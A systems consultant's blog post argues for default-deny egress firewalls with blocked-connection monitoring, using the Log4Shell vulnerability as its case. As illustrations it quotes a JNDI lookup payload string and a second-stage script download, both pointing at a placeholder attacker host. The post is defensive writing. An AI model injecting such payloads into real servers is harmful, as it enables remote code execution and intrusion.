The most common firewall setups reject inbound traffic initiated from the internet as such (strict ingress firewall), but let all traffic pass through as long as the connection was initiated from the intranet (open egress firewall). I strongly believe that ingress firewalls are overrated and that it makes as much sense (maybe even more sense) to close the egress firewall.

The Log4Shell case

Yesterday some of us got quite busy with patching things and searching for vulnerable software due to the Log4Shell 0-day exploit. This one was quite nasty - this is the most common logging library in Java, and it would execute arbitrary code from the internet whenever strings like {{jndi:ldap://{my.evil.host.example.com}/exploit.class}} would be logged. Many servers log things like the URL, referrer URL and the UserAgent sent from the client, this means anyone with a bit of technical insight easily can run arbitrary code on many of the affected servers. A race ensued between system administrators making workarounds and patches, and malicious parties scanning the internet for easily exploitable servers and gaining a foothold on them.

How firewalls may help

A regular ingress firewall may help a company-internal server from being directly exploited by my.evil.host.example.com, but malicious traffic will get through to the public servers, and it will most likely trickle through to backend servers as well. However, if the firewall blocks the application from connecting to my.evil.host.example.com, the attack above will fail. With such a firewall in place, a scanned host won’t show up when the attacker is scanning for vulnerable servers. I think it’s a good security policy to have an egress firewall blocking all but whitelisted traffic.

This security flaw is an exception - with most remote code exploits, the payload will typically be sent with the request itself. An egress firewall won’t help against that. In practice, often a minimal exploit code is sent in the request itself, and when executed it will try to download http://my.evil.host.example.com/larger_malware_script.sh and execute it. In such cases a dedicated attacker may gain a foothold despite the egress firewall, but it will still make it much less likely that the computer is attacked by arbitrary attackers. This may be just what’s needed to win the race and be able to patch up the 0-day exploit before the server is seriously compromised (ideally one should take down the server as soon as the vulnerability is known and take it up only when the vulnerability has been patched - but for quite some of our customers “up-time” is just too important).

I think that a firewall should never be regarded as more than “defence in depth”. Whatever services you have, they should be secure enough in themselves to survive being exposed to the open Internet. One should never assume that a client or a server is to be trusted just based on the IP-address of said client or server. In my opinion the primary purpose of a firewall is to reduce the risk of a breach either due to 0-day exploit or due to some yet unknown exploit.

A poor man’s IDS

By not only rejecting unknown outbound connections, but also having strong monitoring in place on all the blocked outbound connections, one will already have a very simple IDS in place. For a well-managed server nothing should be blocked by the egress firewall, so the noise level should be low - anything blocked either indicates a bug, sysadmin doing a mistake or that the box is compromised. (Consider the opposite, logging all inbound connection attempts blocked by the firewall - any computer connected to the internet will be bombarded by intrusion attempts, the logs are littered with noise).

Such an “poor man’s IDS” is of course not perfect - a sophisticated and dedicated attacker aware of the firewall policies will probably manage to compromise the server without getting trapped by the firewall monitoring - but then again, no IDS is perfect.

Difficulties with egress firewall

Maintaining an outbound firewall is admittedly a lot harder than maintaining an inbound firewall. Developers will often expect that external resources are easily available and deliver applications that simply won’t work as intended when having an egress firewall in place. The external resources are often hosted on the cloud and may have an ever changing jungle of IP-addresses pointing towards the service. One workaround may be to set up a proxy server on a dedicated VM with wide open egress firewall (actually, maybe a dedicated VM isn’t needed - iptables supports rules based on uid/pid). I think it’s worth the extra cost.

My conclusion

I don’t consider a firewall to be a silver bullet against anything, but I would still encourage you to filter away all unknown outbound connections and monitor the traffic being blocked by the outbound firewall.


(This post has been slightly edited after posting, hopefully making it clearer and easier to read)

Update

  • 2024-08-26: Replaced the link explaining the Log4Shell, linking to Wikipedia.

Tobias Brox

Senior Systems Consultant at Redpill Linpro

Tobias started working as a developer when he finished his degree at The University of Tromsø. He joined Redpill Linpro as a system administrator a decade ago, and have embraced working with our customers, and maintaining/improving our internal tools.

Thoughts on the CrowdStrike Outage

Unless you’ve been living under a rock, you probably know that last Friday a global crash of computer systems caused by ‘CrowdStrike’ led to widespread chaos and mayhem: flights were cancelled, shops closed their doors, even some hospitals and pharmacies were affected. When things like this happen, I first have a smug feeling “this would never happen at our place”, then I start thinking. Could it?

Broken Software Updates

Our department do take responsibility for keeping quite a lot ... [continue reading]

Alarms made right

Published on June 27, 2024

Just-Make-toolbox

Published on March 22, 2024